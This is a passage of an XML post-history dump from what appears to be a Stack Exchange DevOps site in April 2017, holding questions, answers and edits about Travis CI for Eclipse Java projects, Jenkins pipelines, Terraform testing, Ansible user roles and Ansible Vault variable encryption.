counters][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/articles/sharding_counters" ContentLicense="CC BY-SA 3.0" />
  <row Id="3277" PostHistoryTypeId="2" PostId="981" RevisionGUID="cac27e0c-8db7-42b7-ab82-0193756c0441" CreationDate="2017-04-21T01:19:33.067" UserId="2449" Text="I have an Eclipse Java project on GitHub. I would like to set up auto-build testing with Travis CI. However, when I enable build testing for my project, compilation always fails with the following error.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    Buildfile: build.xml does not exist!&#xD;&#xA;    Build failed&#xD;&#xA;    &#xD;&#xA;    The command &quot;ant test&quot; exited with 1.&#xD;&#xA;&#xD;&#xA;How do I configure Travis CI to run build tests for my Java Eclipse project?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3278" PostHistoryTypeId="1" PostId="981" RevisionGUID="cac27e0c-8db7-42b7-ab82-0193756c0441" CreationDate="2017-04-21T01:19:33.067" UserId="2449" Text="How do I configure Travis CI build testing for a Java Eclipse project?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3279" PostHistoryTypeId="3" PostId="981" RevisionGUID="cac27e0c-8db7-42b7-ab82-0193756c0441" CreationDate="2017-04-21T01:19:33.067" UserId="2449" Text="&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3280" PostHistoryTypeId="2" PostId="982" RevisionGUID="214103d5-6df9-4fc0-88a2-9353b6640c2f" CreationDate="2017-04-21T01:19:33.067" UserId="2449" Text="The easiest method is to have Eclipse generate an Ant build script for you.&#xD;&#xA;&#xD;&#xA;Right click on your project in the Package Explorer and select **Export** in the context menu. Choose the export type **General -&gt; Ant Buildfiles** and click **Next**. [[1]]&#xD;&#xA;&#xD;&#xA;On the next screen, make sure your project is selected. You can keep leave the options on their default settings. Click **Finish** to generate your `build.xml` file. [[2]]&#xD;&#xA;&#xD;&#xA;Lastly, to ensure Travis CI runs the project correctly, create a .travis.yml in your project's root. At the bare minimum, it should contain the following.&#xD;&#xA;&#xD;&#xA;    language: java&#xD;&#xA;    jdk:&#xD;&#xA;      - oraclejdk8&#xD;&#xA;     &#xD;&#xA;    script: ant build&#xD;&#xA;&#xD;&#xA;Source: [Kofun devblog - Using Travis CI with Java Eclipse Project](http://kofun.pl/various/using-trvis-ci-with-java-eclipse-project/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ssp3D.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/W0WDU.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="3281" PostHistoryTypeId="5" PostId="982" RevisionGUID="bfd7bd37-69f2-4f50-aa24-9e7ad2d1f0b3" CreationDate="2017-04-21T01:25:41.353" UserId="2449" Comment="Hyperlink to .travis.yml documentation" Text="The easiest method is to have Eclipse generate an Ant build script for you.&#xD;&#xA;&#xD;&#xA;Right click on your project in the Package Explorer and select **Export** in the context menu. Choose the export type **General -&gt; Ant Buildfiles** and click **Next**. [[1]]&#xD;&#xA;&#xD;&#xA;On the next screen, make sure your project is selected. You can keep leave the options on their default settings. Click **Finish** to generate your `build.xml` file. [[2]]&#xD;&#xA;&#xD;&#xA;Lastly, to ensure Travis CI runs the project correctly, [create a .travis.yml in your project's root folder][3]. For Java projects, it should contain at least the following.&#xD;&#xA;&#xD;&#xA;    language: java&#xD;&#xA;    jdk:&#xD;&#xA;      - oraclejdk8&#xD;&#xA;     &#xD;&#xA;    script: ant build&#xD;&#xA;&#xD;&#xA;Source: [Kofun devblog - Using Travis CI with Java Eclipse Project](http://kofun.pl/various/using-trvis-ci-with-java-eclipse-project/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ssp3D.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/W0WDU.png&#xD;&#xA;  [3]: https://docs.travis-ci.com/user/languages/java/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3282" PostHistoryTypeId="2" PostId="983" RevisionGUID="23fe0bd7-8da4-4f17-a0c4-3155349cbb7c" CreationDate="2017-04-21T02:02:32.073" UserId="677" Text="Who said that properties files and environment variables where mutually exclusive?&#xA;&#xA;There is a distinction to be made between &quot;where do I **store** my app configuration?&quot; And &quot;where does my app **source** it's configuration? &quot;&#xA;&#xA;The most likely outcome is that everyone probably *should* just keep doing what they are doing with configuration files as a **storage** mechanism (think long term, persistent state for as long as the environment exists).&#xA;&#xA;However, rather than dropping that configuration file into the application context and letting it run the application should be able to just expect those variables to already be available in the environment when it starts up.&#xA;&#xA;This means you need to have two deployment work flows - &#xA;&#xA; 1. I deploy may application into an environment by going through X change control process and doing Y reviews with Z tool, whatever.&#xA; 2. I deploy my environment configuration into an environment by going through A change control process and doing B reviews with C tool, same process, different outcome.&#xA;&#xA;To use an example of managing environment variables as Key Value pairs in a tool like consul, if you are storing configuration files in git then tools like git2consul with handle getting that configuration into the environment when it's updated.&#xA;&#xA;If you have an app that is expecting that there will be config available as a configuration file then you can avoid shipping multiple copies of the configuration file with the app by building a deploy process with something like consul-template which has the capability to turn your consul values back into a file." ContentLicense="CC BY-SA 3.0" />
  <row Id="3283" PostHistoryTypeId="2" PostId="984" RevisionGUID="38dcbb66-90ef-455a-a862-6c3330e43113" CreationDate="2017-04-21T02:12:02.440" UserId="677" Text="To answer the question of how to enforce something locally, you can't without doing some very heavy lifting around managing and enforcing the state of every developers workstation, and I'm usually of the opinion that developers should probably be local admins on their development machine because if they aren't then they will just spend their time figuring our how to get those privileges anyway. &#xA;&#xA;And that's probably because you shouldn't need to care about the state of local configuration when using distributed version control. You should only care about the state of **your** configuration. Assuming you are using git as a centralised version control system, because that's what basically everyone does anyway because its easiest, then let's just assume that &quot;your&quot; configuration is the copy of code saved on the central server.&#xA;&#xA;If this is the case then you shouldn't accept merges that, as you mentioned, break crlf/lf line endings. So you enforce that when some other client tries to push changes you with server side logic that rejects the request to pollute *your* repo with *their* potentially breaking stylistic choices." ContentLicense="CC BY-SA 3.0" />
  <row Id="3288" PostHistoryTypeId="5" PostId="982" RevisionGUID="007bb2af-0183-437e-a9b6-7173348fca32" CreationDate="2017-04-21T07:37:42.160" UserId="13" Comment="Inlined the images" Text="The easiest method is to have Eclipse generate an Ant build script for you.&#xD;&#xA;&#xD;&#xA;Right click on your project in the Package Explorer and select **Export** in the context menu. Choose the export type **General -&gt; Ant Buildfiles** and click **Next**. ![Export menu screenshot][1]&#xD;&#xA;&#xD;&#xA;On the next screen, make sure your project is selected. You can keep leave the options on their default settings. Click **Finish** to generate your `build.xml` file. ![Generate antfile dialog screenshot][2]&#xD;&#xA;&#xD;&#xA;Lastly, to ensure Travis CI runs the project correctly, [create a .travis.yml in your project's root folder][3]. For Java projects, it should contain at least the following.&#xD;&#xA;&#xD;&#xA;    language: java&#xD;&#xA;    jdk:&#xD;&#xA;      - oraclejdk8&#xD;&#xA;     &#xD;&#xA;    script: ant build&#xD;&#xA;&#xD;&#xA;Source: [Kofun devblog - Using Travis CI with Java Eclipse Project](http://kofun.pl/various/using-trvis-ci-with-java-eclipse-project/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ssp3D.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/W0WDU.png&#xD;&#xA;  [3]: https://docs.travis-ci.com/user/languages/java/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3289" PostHistoryTypeId="2" PostId="986" RevisionGUID="3ea3c2c8-2c59-4e2b-a88d-8117a91b1c4a" CreationDate="2017-04-21T08:48:10.397" UserId="2455" Text="I've been interested in converting our bespoke Jenkins integrations into a pipeline. However, i can't seem to figure out how to do it.&#xD;&#xA;&#xD;&#xA;Can anyone help me with the Jenkins script that could do the following?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    1---2---3-----------9---10&#xD;&#xA;        |           |&#xD;&#xA;        |---4-------|&#xD;&#xA;        |           |&#xD;&#xA;        |---5---6---|&#xD;&#xA;            |       |&#xD;&#xA;            |---7---|&#xD;&#xA;    &#xD;&#xA;    1: Start pipeline&#xD;&#xA;    10: End pipeline&#xD;&#xA;    5: Build some files&#xD;&#xA;       * needed by 6, 7,&#xD;&#xA;       * needed as artifacts at the end&#xD;&#xA;    2, 3, 4, 6, 7: Have jUnit result files, should be available at end of test (somewhere), even if one failed&#xD;&#xA;&#xD;&#xA;Is this even possible? &#xD;&#xA;Or should i just join after 3,4,5? Like this:&#xD;&#xA;&#xD;&#xA;    1---2---3-------6-------9---10&#xD;&#xA;        |       |   |   |&#xD;&#xA;        |---4---|   7---|&#xD;&#xA;        |       |&#xD;&#xA;        |---5---|&#xD;&#xA;&#xD;&#xA;Glad to hear your feedback!" ContentLicense="CC BY-SA 3.0" />
  <row Id="3290" PostHistoryTypeId="1" PostId="986" RevisionGUID="3ea3c2c8-2c59-4e2b-a88d-8117a91b1c4a" CreationDate="2017-04-21T08:48:10.397" UserId="2455" Text="Help with building a complex parallel Jenkins pipline" ContentLicense="CC BY-SA 3.0" />
  <row Id="3291" PostHistoryTypeId="3" PostId="986" RevisionGUID="3ea3c2c8-2c59-4e2b-a88d-8117a91b1c4a" CreationDate="2017-04-21T08:48:10.397" UserId="2455" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3293" PostHistoryTypeId="5" PostId="831" RevisionGUID="748ca580-41b8-415c-b782-16d625175997" CreationDate="2017-04-21T13:16:32.017" UserId="40" Comment="integrate comment from OPer" Text="As a iOS developer, I was looking to create a CI and CCQ (= Continuous Code Quality) infrastructure for the iOS projects we have in development so far. We already use Jenkins and SonarQube for almost all the Web and Android projects (using a VM foreach project, installing and configuring the CI and CCQ is automated) and it works great. But for the iOS projects, Jenkins needs to do the build on a computer running macOS, so I am not sure I have the perfect solution for that. &#xD;&#xA;&#xD;&#xA; - I was looking into a solution to virtualise the macOS. For each&#xD;&#xA;   project, to create a virtual macOS and install Jenkins as slave there&#xD;&#xA;   to handle the builds. The solution looked perfect, but it seems it is&#xD;&#xA;   not legal to have more than 2 VM running with macOS (and of course,&#xD;&#xA;   only on Mac computer)&#xD;&#xA;   http://images.apple.com/legal/sla/docs/macOS1012.pdf -&gt; The point&#xD;&#xA;   2.B. So this isn't a solution for my case.&#xD;&#xA; - Another common solution I've read about is to have a Mac computer&#xD;&#xA;   (maybe a MacMini) that will handle all the builds for all the&#xD;&#xA;   projects. What do you think about this implementation? How many&#xD;&#xA;   projects may it handle? Developers may need to do some configurations&#xD;&#xA;   on their own project (especially in SonarQube), is it safe? &#xD;&#xA; - Can we have multiple Jenkins and SonarQube instances on the same machine, using different ports? Is this even a solution to be considered or I am talking non-sense?&#xD;&#xA; - Is there any other viable solution, maybe better than the ones above :) ? &#xD;&#xA;&#xD;&#xA;Note: I am not sticking to Jenkins + SonarQube duo, if there are any other tools better suitable for iOS development, please share them with me. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3294" PostHistoryTypeId="2" PostId="987" RevisionGUID="73700a13-262d-40d5-9889-7e8b9dccb48d" CreationDate="2017-04-21T16:29:28.983" UserId="309" Text="Can I get memory usage per process with Linux? we monitor our servers with sysstat/sar. But besides seeing that memory went off the roof at some point, we can't pinpoint which process was getting bigger and bigger. is there a way with sar (or other tools) to get memory usage per process? and look at it, later on?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3295" PostHistoryTypeId="1" PostId="987" RevisionGUID="73700a13-262d-40d5-9889-7e8b9dccb48d" CreationDate="2017-04-21T16:29:28.983" UserId="309" Text="How to get memory usage per process with sar, sysstat" ContentLicense="CC BY-SA 3.0" />
  <row Id="3296" PostHistoryTypeId="3" PostId="987" RevisionGUID="73700a13-262d-40d5-9889-7e8b9dccb48d" CreationDate="2017-04-21T16:29:28.983" UserId="309" Text="&lt;monitoring&gt;&lt;linux&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3297" PostHistoryTypeId="5" PostId="987" RevisionGUID="75a8521c-9724-49cd-b57e-933ce67958e1" CreationDate="2017-04-21T16:59:13.457" UserId="46" Comment="added 6 characters in body; edited title" Text="Can I get memory usage per process with Linux? we monitor our servers with `sysstat`/`sar`. But besides seeing that memory went off the roof at some point, we can't pinpoint which process was getting bigger and bigger. is there a way with `sar` (or other tools) to get memory usage per process? and look at it, later on?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3298" PostHistoryTypeId="4" PostId="987" RevisionGUID="75a8521c-9724-49cd-b57e-933ce67958e1" CreationDate="2017-04-21T16:59:13.457" UserId="46" Comment="added 6 characters in body; edited title" Text="How to get memory usage per process with sar, sysstat?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3299" PostHistoryTypeId="2" PostId="988" RevisionGUID="54ddf950-022e-4bfc-ab6f-abd93fa58a34" CreationDate="2017-04-21T18:07:51.280" UserId="2463" Text="There is currently no full solution to this integrated into Terraform, but there are some building blocks that could be useful to assist in writing tests in a separate programming language.&#xD;&#xA;&#xD;&#xA;Terraform produces state files in JSON format that can, in principle, be used by external programs to extract certain data about what Terraform created. While this format is not yet considered officially stable, in practice it changes infrequently enough that people have successfully integrated with it, accepting that they might need to make adjustments as they upgrade Terraform.&#xD;&#xA;&#xD;&#xA;What strategy is appropriate here will depend a lot on what exactly you want to test. For example:&#xD;&#xA;&#xD;&#xA;* In an environment that's spinning up virtual servers, tools like [Serverspec](http://serverspec.org/) can be used to run tests from the perspective of these servers. This can either be run separately from Terraform using some out-of-band process, or as part of the Terraform apply using the [`remote-exec` provisioner](https://www.terraform.io/docs/provisioners/remote-exec.html). This allows verification of questions like &quot;can the server reach the database?&quot;, but is not suitable for questions such as &quot;is the instance's security group restrictive enough?&quot;, since robustly checking that requires accessing data from outside of the instance itself.&#xD;&#xA;&#xD;&#xA;* It's possible to write tests using an existing test framework (such as RSpec for Ruby, `unittest` for Python, etc) which gather relevant resource ids or addresses from the Terraform state file and then use the relevant platform's SDK to retrieve data about the resources and assert that they are set up as expected. This is a more general form of the previous idea, running the tests from the perspective of a host *outside* of the infrastructure under test, and can thus collect a broader set of data to make assertions on.&#xD;&#xA;&#xD;&#xA;* For more modest needs, one can choose to trust that the Terraform state is an accurate representation of reality (a valid assumption in many cases) and simply assert directly on that. This is most appropriate for simple &quot;lint-like&quot; cases, such as verifying that the correct resource tagging scheme is being followed for cost-allocation purposes.&#xD;&#xA;&#xD;&#xA;There is some more discussion about this in [a relevant Terraform Github issue](https://github.com/hashicorp/terraform/issues/5059).&#xD;&#xA;&#xD;&#xA;In the latest versions of Terraform it is strongly recommended to use a remote backend for any non-toy application, but that means that the state data is not directly available on local disk. However, a snapshot of it can be retrieved from the remote backend using the `terraform state pull` command, which prints the JSON-formatted state data to stdout so it can be captured and parsed by a calling program.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3300" PostHistoryTypeId="2" PostId="989" RevisionGUID="b766b4a9-71d1-4b63-8629-d6901436044d" CreationDate="2017-04-21T19:35:48.947" UserId="349" Text="I'm using the [willshersystems.users](https://galaxy.ansible.com/willshersystems/users/) role from ansible galaxy for creating users on ubuntu servers. Now that I've got it working consistently, I'm trying to set the state attribute based on whether the user should have access to a specific server given a list.&#xD;&#xA;&#xD;&#xA;Is something like the below possible? My google fu seems to be failing me at the moment, any advice would be very appreciated!&#xD;&#xA;&#xD;&#xA;    vars:&#xD;&#xA;      user_servers:&#xD;&#xA;        user1:&#xD;&#xA;          - testing1&#xD;&#xA;&#xD;&#xA;      users:&#xD;&#xA;&#xD;&#xA;        - name: user1&#xD;&#xA;          groups: '{{ user_groups }}'&#xD;&#xA;          state: &quot;{{ ( inventory_hostname_short in user_servers[self.name] ) | ternary('present','absent') }}&quot;&#xD;&#xA;&#xD;&#xA;    roles:&#xD;&#xA;      - role: willshersystems.users" ContentLicense="CC BY-SA 3.0" />
  <row Id="3301" PostHistoryTypeId="1" PostId="989" RevisionGUID="b766b4a9-71d1-4b63-8629-d6901436044d" CreationDate="2017-04-21T19:35:48.947" UserId="349" Text="Referencing current variable in Ansible conditional statement?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3302" PostHistoryTypeId="3" PostId="989" RevisionGUID="b766b4a9-71d1-4b63-8629-d6901436044d" CreationDate="2017-04-21T19:35:48.947" UserId="349" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3304" PostHistoryTypeId="2" PostId="990" RevisionGUID="74d02346-e119-4fa7-b4ee-6dec85f8c06b" CreationDate="2017-04-22T07:23:16.073" UserId="228" Text="How about something like this:&#xD;&#xA;&#xD;&#xA;    hosts: all&#xD;&#xA;    &#xD;&#xA;    vars:&#xD;&#xA;      user_servers:&#xD;&#xA;        user1:&#xD;&#xA;          - testing1&#xD;&#xA;    &#xD;&#xA;      users:&#xD;&#xA;        -name: user1&#xD;&#xA;        -groups: '{{ user_groups }}'&#xD;&#xA;        -state: present&#xD;&#xA;    &#xD;&#xA;    roles:&#xD;&#xA;      - name: Add filtered users&#xD;&#xA;        tasks:&#xD;&#xA;          - name: Filter users &#xD;&#xA;            debug: User {{ item }}&#xD;&#xA;            with_items: &quot;{{ users | default([]) }}&quot;&#xD;&#xA;            when: {{ inventory_hostname_short }} in user_servers[item]&#xD;&#xA;            register: filtered_users  &#xD;&#xA;&#xD;&#xA;          - name: Add filtered users&#xD;&#xA;            include_role: wilshersystems.users&#xD;&#xA;            with_items:&#xD;&#xA;            - {{ filtered_users }}&#xD;&#xA;            loop_control:&#xD;&#xA;            - loop_var: users" ContentLicense="CC BY-SA 3.0" />
  <row Id="3305" PostHistoryTypeId="2" PostId="991" RevisionGUID="6cd4eb83-651b-4836-a7c3-dee4e9f95c8f" CreationDate="2017-04-22T18:54:54.723" UserId="2423" Text="I'd scale out instead of scale up, going for option 3.&#xD;&#xA;We have made a setup where we have all Jenkins agents running on an ECS (custom Docker based Jenkins) with an auto-scaling group. We have all our Jenkins masters communicating to the ECS, thus sharing the workload on the ECS, and no need to recreate the Jenkins master in a scale up exercise." ContentLicense="CC BY-SA 3.0" />
  <row Id="3307" PostHistoryTypeId="2" PostId="992" RevisionGUID="8932a2b9-30ba-4a77-8116-32bb93175927" CreationDate="2017-04-23T09:19:15.073" UserId="10" Text="We require a review process using Pull requests onto our main dev or master branches. During that review process, we will mark pull requests as requiring changes if many files have white space or line ending differences, and insist that they follow the formatting of the dev or master branch they are making the pull request for.&#xD;&#xA;&#xD;&#xA;There are also some nice tools which can, during the build process or pull request step auto format the code based on rules that you set up.  That also helps with keeping code looking consistent and minimizing formatting issues when committing code." ContentLicense="CC BY-SA 3.0" />
  <row Id="3312" PostHistoryTypeId="2" PostId="994" RevisionGUID="7aa54989-aaaf-4898-97e4-4a2a3f41ff47" CreationDate="2017-04-23T15:42:17.920" UserId="210" Text="[This][1] document indicates that since Ansible 2.3 it should be possible to encrypt certain vars using a `!vault |` prefix instead of putting a variable and keys in a vault file and encrypt it completely.&#xD;&#xA;&#xD;&#xA;&gt;     notsecret: myvalue&#xD;&#xA;&gt;     mysecret: !vault |&#xD;&#xA;&gt;               $ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;&gt;               66386439653236336462626566653063336164663966303231363934653561363964363833313662&#xD;&#xA;&gt;               6431626536303530376336343832656537303632313433360a626438346336353331386135323734&#xD;&#xA;&gt;               62656361653630373231613662633962316233633936396165386439616533353965373339616234&#xD;&#xA;&gt;               3430613539666330390a313736323265656432366236633330313963326365653937323833366536&#xD;&#xA;&gt;               34623731376664623134383463316265643436343438623266623965636363326136&#xD;&#xA;&gt;     other_plain_text: othervalue&#xD;&#xA;&#xD;&#xA;At the moment the structure is as follows:&#xD;&#xA;&#xD;&#xA;    ansible/group_vars/testing/vars&#xD;&#xA;    ansible/group_vars/testing/vault&#xD;&#xA;&#xD;&#xA;When an encrypted variable is moved from the vault to the vars directory and `ansible-vault decrypt ansible/group_vars/testing/vars` is run it returns:&#xD;&#xA;&#xD;&#xA;    ERROR! input is not vault encrypted data for ansible/group_vars/testing/vars&#xD;&#xA;&#xD;&#xA;&gt; This vaulted variable be decrypted with the supplied vault secret and&#xD;&#xA;&gt; used as a normal variable. The ansible-vault command line supports&#xD;&#xA;&gt; stdin and stdout for encrypting data on the fly, which can be used&#xD;&#xA;&gt; from your favorite editor to create these vaulted variables; you just&#xD;&#xA;&gt; have to be sure to add the !vault tag so both Ansible and YAML are&#xD;&#xA;&gt; aware of the need to decrypt. The | is also required, as vault&#xD;&#xA;&gt; encryption results in a multi-line string.&#xD;&#xA;&#xD;&#xA;**Questions**&#xD;&#xA;&#xD;&#xA; 1. Should variables that need to be encrypted, be encrypted one by one&#xD;&#xA;    using the command line? &#xD;&#xA; 2. What are best practices to restructure the&#xD;&#xA;    old Ansible structure? E.g. remove the vault files and put all&#xD;&#xA;    encrypted vars in the vars file?&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_vault.html#single-encrypted-variable" ContentLicense="CC BY-SA 3.0" />
  <row Id="3313" PostHistoryTypeId="1" PostId="994" RevisionGUID="7aa54989-aaaf-4898-97e4-4a2a3f41ff47" CreationDate="2017-04-23T15:42:17.920" UserId="210" Text="What are best practices of structuring and encrypt encrypted variables since Ansible 2.3.0?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3314" PostHistoryTypeId="3" PostId="994" RevisionGUID="7aa54989-aaaf-4898-97e4-4a2a3f41ff47" CreationDate="2017-04-23T15:42:17.920" UserId="210" Text="&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3315" PostHistoryTypeId="2" PostId="995" RevisionGUID="bbda9b83-cc13-4879-a80c-c9761c3d3eab" CreationDate="2017-04-23T17:56:21.803" UserId="210" Text="I have decided to remove the `ansible/group_vars/testing` directory and replace it with a file, i.e. `ansible/group_vars/testing` that contains the encrypted vars:&#xD;&#xA;&#xD;&#xA;    mysecret: !vault |&#xD;&#xA;              $ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;              66386439653236336462626566653063336164663966303231363934653561363964363833313662&#xD;&#xA;              6431626536303530376336343832656537303632313433360a626438346336353331386135323734&#xD;&#xA;              62656361653630373231613662633962316233633936396165386439616533353965373339616234&#xD;&#xA;              3430613539666330390a313736323265656432366236633330313963326365653937323833366536&#xD;&#xA;              34623731376664623134383463316265643436343438623266623965636363326136&#xD;&#xA;&#xD;&#xA;Instead of running `ansible-vault edit ansible/group_vars/testing/vault` one could pipe the values that need to be encrypted to ansible-vault, i.e. `mysecret | ansible-vault create`. The latter will encrypt `mysecret` and the output could be added to the `ansible/group_vars/testing` file. When `ansible-playbook` will be run the encrypted variables will be decrypted if the ansible vault file is specified of course." ContentLicense="CC BY-SA 3.0" />
  <row Id="3316" PostHistoryTypeId="5" PostId="995" RevisionGUID="3bae56ab-6d8d-4f46-97b6-02d3d670d46a" CreationDate="2017-04-23T18:57:58.157" UserId="210" Comment="added 5 characters in body" Text="I have decided to remove the `ansible/group_vars/testing` directory and replace it with a file, i.e. `ansible/group_vars/testing` that contains the encrypted vars:&#xD;&#xA;&#xD;&#xA;    mysecret: !vault |&#xD;&#xA;              $ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;              66386439653236336462626566653063336164663966303231363934653561363964363833313662&#xD;&#xA;              6431626536303530376336343832656537303632313433360a626438346336353331386135323734&#xD;&#xA;              62656361653630373231613662633962316233633936396165386439616533353965373339616234&#xD;&#xA;              3430613539666330390a313736323265656432366236633330313963326365653937323833366536&#xD;&#xA;              34623731376664623134383463316265643436343438623266623965636363326136&#xD;&#xA;&#xD;&#xA;Instead of running `ansible-vault edit ansible/group_vars/testing/vault` one could pipe the values that need to be encrypted to ansible-vault, i.e. `echo mysecret | ansible-vault create`. The latter will encrypt `mysecret` and the output could be added to the `ansible/group_vars/testing` file. When `ansible-playbook` will be run the encrypted variables will be decrypted if the ansible vault file is specified of course." ContentLicense="CC BY-SA 3.0" />
  <row Id="3317" PostHistoryTypeId="5" PostId="995" RevisionGUID="f4429e0a-4d8b-4e71-ad9d-30952622ae74" CreationDate="2017-04-23T19:28:56.607" UserId="210" Comment="added 147 characters in body" Text="I have decided to remove the `ansible/group_vars/testing` directory and replace it with a file, i.e. `ansible/group_vars/testing` that contains the encrypted vars:&#xD;&#xA;&#xD;&#xA;    mysecret: !vault |&#xD;&#xA;              $ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;              66386439653236336462626566653063336164663966303231363934653561363964363833313662&#xD;&#xA;              6431626536303530376336343832656537303632313433360a626438346336353331386135323734&#xD;&#xA;              62656361653630373231613662633962316233633936396165386439616533353965373339616234&#xD;&#xA;              3430613539666330390a313736323265656432366236633330313963326365653937323833366536&#xD;&#xA;              34623731376664623134383463316265643436343438623266623965636363326136&#xD;&#xA;&#xD;&#xA;Instead of running `ansible-vault edit ansible/group_vars/testing/vault` one could pipe the values that need to be encrypted to ansible-vault, i.e. `printf mysecret | ansible-vault create`. The latter will encrypt `mysecret` and the output could be added to the `ansible/group_vars/testing` file. When `ansible-playbook` will be run the encrypted variables will be decrypted if the ansible vault file is specified of course.&#xD;&#xA;&#xD;&#xA;If the encrypted value needs to be debugged then the following code could be used:&#xD;&#xA;&#xD;&#xA;    - debug: msg=&quot;Decrypted value: {{ encrypted_var }}&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3318" PostHistoryTypeId="2" PostId="996" RevisionGUID="2e08f54a-c479-4d4f-a48b-87f8949b89c4" CreationDate="2017-04-23T21:52:32.910" UserId="2484" Text="Suppose I have Drupal and CiviCRM installations to automate.&#xD;&#xA;&#xD;&#xA;These, however, need particular configs for working together (some file edits and database configs)&#xD;&#xA;&#xD;&#xA;Should I make a fixed version install (eg. Drupal 4.7.5 + CiviCRM 4.5.6), install them and configure, and then save the edited files plus database?&#xD;&#xA;&#xD;&#xA;Or should I put more effort in my build script and make some queries and seds to edit those configs in the database and files?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3319" PostHistoryTypeId="1" PostId="996" RevisionGUID="2e08f54a-c479-4d4f-a48b-87f8949b89c4" CreationDate="2017-04-23T21:52:32.910" UserId="2484" Text="Best practice when automating Drupal (or other soft) installation regarding database settings" ContentLicense="CC BY-SA 3.0" />
  <row Id="3320" PostHistoryTypeId="3" PostId="996" RevisionGUID="2e08f54a-c479-4d4f-a48b-87f8949b89c4" CreationDate="2017-04-23T21:52:32.910" UserId="2484" Text="&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3324" PostHistoryTypeId="5" PostId="995" RevisionGUID="940ee9e2-ddcc-4516-a38e-0a0a1f07ef12" CreationDate="2017-04-24T08:43:09.153" UserId="210" Comment="added 1 character in body" Text="I have decided to remove the `ansible/group_vars/testing` directory and replace it with a file, i.e. `ansible/group_vars/testing` that contains the encrypted vars:&#xD;&#xA;&#xD;&#xA;    mysecret: !vault |&#xD;&#xA;              $ANSIBLE_VAULT;1.1;AES256&#xD;&#xA;              66386439653236336462626566653063336164663966303231363934653561363964363833313662&#xD;&#xA;              6431626536303530376336343832656537303632313433360a626438346336353331386135323734&#xD;&#xA;              62656361653630373231613662633962316233633936396165386439616533353965373339616234&#xD;&#xA;              3430613539666330390a313736323265656432366236633330313963326365653937323833366536&#xD;&#xA;              34623731376664623134383463316265643436343438623266623965636363326136&#xD;&#xA;&#xD;&#xA;Instead of running `ansible-vault edit ansible/group_vars/testing/vault` one could pipe the values that need to be encrypted to ansible-vault, i.e. `printf mysecret | ansible-vault encrypt`. The latter will encrypt `mysecret` and the output could be added to the `ansible/group_vars/testing` file. When `ansible-playbook` will be run the encrypted variables will be decrypted if the ansible vault file is specified of course.&#xD;&#xA;&#xD;&#xA;If the encrypted value needs to be debugged then the following code could be used:&#xD;&#xA;&#xD;&#xA;    - debug: msg=&quot;Decrypted value: {{ encrypted_var }}&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3325" PostHistoryTypeId="2" PostId="998" RevisionGUID="e6bb80dc-4cae-4021-864b-2a9967c32754" CreationDate="2017-04-24T08:48:14.303" UserId="40" Text="Your question sounds like you should have a look at what I call **F**eatures **C**onfiguration **M**anagement, aka **FCM**. FCM is not only about using Drupal's [Features][1] module, and not about ***Configuration Management*** (as introduced in Drupal version 8). Instead, it is a special case of [**S**oftware **C**onfiguration **M**anagement][2], aka **SCM**, applied to Drupal.&#xD;&#xA;&#xD;&#xA;Mostly because [Features][1] can be considered as a code generator, whereas that generated code may be considered as the *build script* (as in your question). Which can then also be used to be migrated through multiple environments.&#xD;&#xA;&#xD;&#xA;Have a look at my (popular) answer to &quot;[How to use the Features module in a 3 dev environnement?][3]&quot; for (way) more details about all this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.drupal.org/project/features&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software_configuration_management&#xD;&#xA;  [3]: https://drupal.stackexchange.com/a/199860/39516" ContentLicense="CC BY-SA 3.0" />
